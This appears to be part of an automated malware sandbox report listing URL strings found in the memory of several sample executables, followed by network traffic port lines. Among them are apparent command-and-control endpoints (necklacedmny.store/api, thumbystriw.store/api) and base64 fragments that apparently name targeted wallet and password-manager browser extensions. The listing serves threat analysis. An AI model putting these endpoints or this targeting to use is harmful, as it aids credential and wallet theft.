Source: build.exe, 00000008.00000002.2783421841.000001BE9002A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3077284382.0000000023746000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866914593.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866201999.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088713939.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122211379.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3099027134.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122363338.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3089010236.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261619146.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3240097479.0000000005B78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: build.exe, 00000008.00000002.2783421841.000001BE9002A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3077284382.0000000023746000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866914593.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866201999.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088713939.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122211379.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3099027134.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122363338.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3089010236.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261619146.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3240097479.0000000005B78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: build.exe, 00000008.00000002.2783421841.000001BE9002A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3077284382.0000000023746000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866914593.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866201999.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088713939.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122211379.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3099027134.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122363338.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3089010236.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261619146.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3240097479.0000000005B78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: softokn3[1].dll.19.dr, nss3.dll.19.dr, softokn3.dll.19.dr String found in binary or memory: https://mozilla.org0/
Source: 62dceeab4d.exe, 00000014.00000003.2998081509.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2998683785.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901988505.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012C4000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3086945836.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2928085827.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2959360186.000000000133E000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901988505.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3114988252.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3138268122.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.0000000001567000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3195792322.0000000001576000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3081715006.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3153407020.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3238609492.0000000001506000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3153407020.0000000001575000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/-L
Source: 62dceeab4d.exe, 0000002E.00000003.3238609492.0000000001506000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/7F
Source: 62dceeab4d.exe, 00000021.00000003.3195792322.0000000001576000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/=L
Source: 62dceeab4d.exe, 00000014.00000003.2901988505.000000000133E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/M
Source: 62dceeab4d.exe, 00000014.00000003.2959360186.000000000133E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/U
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.00000000014E5000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3114988252.0000000001582000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3302703317.0000000005D64000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3153407020.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000002.3339815211.0000000005B40000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: 62dceeab4d.exe, 00000014.00000003.2953712214.000000000135B000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2966621351.000000000134F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2997995515.000000000135B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api$
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api1
Source: 62dceeab4d.exe, 0000002E.00000002.3339815211.0000000005B40000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiO
Source: 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiS
Source: 62dceeab4d.exe, 00000014.00000003.2901988505.000000000133E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apia
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.00000000014E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apieZ
Source: 62dceeab4d.exe, 00000014.00000003.3080256647.000000000135A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apin
Source: 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901988505.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000002.3292614760.000000000149A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apis
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apis9
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.000000000147C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apisT
Source: 62dceeab4d.exe, 00000014.00000003.2959360186.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2998683785.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apite
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/d
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/l$&
Source: 62dceeab4d.exe, 00000021.00000003.3195792322.0000000001576000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/mL
Source: 62dceeab4d.exe, 00000021.00000002.3292113800.000000000151F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/p?P
Source: 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/s
Source: 62dceeab4d.exe, 00000014.00000003.2927544293.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2942181204.0000000001350000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901851501.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2941887426.000000000134B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/tore
Source: 62dceeab4d.exe, 00000014.00000003.2959360186.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.3080691710.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2928085827.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2901988505.00000000012E0000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2998683785.00000000012E0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiLocal
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.0000000001485000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apiicrosoft
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://srtb.msn.com/
Source: build.exe, 00000008.00000002.2783421841.000001BE90162000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000008.00000002.2783421841.000001BE9015A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: f99547c8e6.exe, 00000013.00000003.3165646524.0000000023A0F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 62dceeab4d.exe, 0000002E.00000002.3292614760.00000000014A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thumbystriw.store/api
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3233426945.000000002379B000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: f99547c8e6.exe, 00000013.00000002.3199781657.0000000000AC5000.00000004.00000020.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000002.3233426945.000000002379B000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3159449813.0000000001573000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: softokn3[1].dll.19.dr, nss3.dll.19.dr, softokn3.dll.19.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: build.exe, 00000008.00000002.2783421841.000001BE9002A000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866914593.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866201999.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088713939.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3099027134.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3089010236.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3240097479.0000000005B78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: Final.exe, 00000007.00000002.2735755761.0000000003515000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.globalsign.com/repository/0
Source: content_new.js.29.dr String found in binary or memory: https://www.google.com/chrome
Source: build.exe, 00000008.00000002.2783421841.000001BE9002A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3077284382.0000000023746000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866319764.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866914593.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2866201999.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3088713939.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122211379.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3099027134.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3122363338.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3089010236.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261619146.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3261323151.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 0000002E.00000003.3240097479.0000000005B78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: build.exe, 00000008.00000002.2783421841.000001BE90162000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000008.00000002.2783421841.000001BE9015A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: build.exe, 00000008.00000002.2783421841.000001BE9016A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3165646524.0000000023A0F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2904038651.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/MB
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: build.exe, 00000008.00000002.2783421841.000001BE9016A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3165646524.0000000023A0F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2904038651.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FF4000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: build.exe, 00000008.00000002.2783421841.000001BE9016A000.00000004.00000800.00020000.00000000.sdmp, f99547c8e6.exe, 00000013.00000003.3165646524.0000000023A0F000.00000004.00000020.00020000.00000000.sdmp, 62dceeab4d.exe, 00000014.00000003.2904038651.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp, 62dceeab4d.exe, 00000021.00000003.3158710699.0000000005E80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: f99547c8e6.exe, 00000013.00000002.3204730970.0000000000FC6000.00000040.00000001.01000000.0000000D.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: 2cc80dabc69f58b6_1.29.dr String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58295 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 58375 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58465
Source: unknown Network traffic detected: HTTP traffic on port 58615 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58464
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58467
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58466
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58463
Source: unknown Network traffic detected: HTTP traffic on port 58490 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 58569 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 58489 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58468
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58478
Source: unknown Network traffic detected: HTTP traffic on port 58283 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58477
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 58306 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown Network traffic detected: HTTP traffic on port 58501 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58479
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58489
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58488
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58483
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58485
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58484
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown Network traffic detected: HTTP traffic on port 58477 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58481
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58480
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 58328 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58353 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58271 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58248 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58523 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58249
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58248
Source: unknown Network traffic detected: HTTP traffic on port 58557 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58256
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58255
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58497
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58258
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58257
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58251
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58493
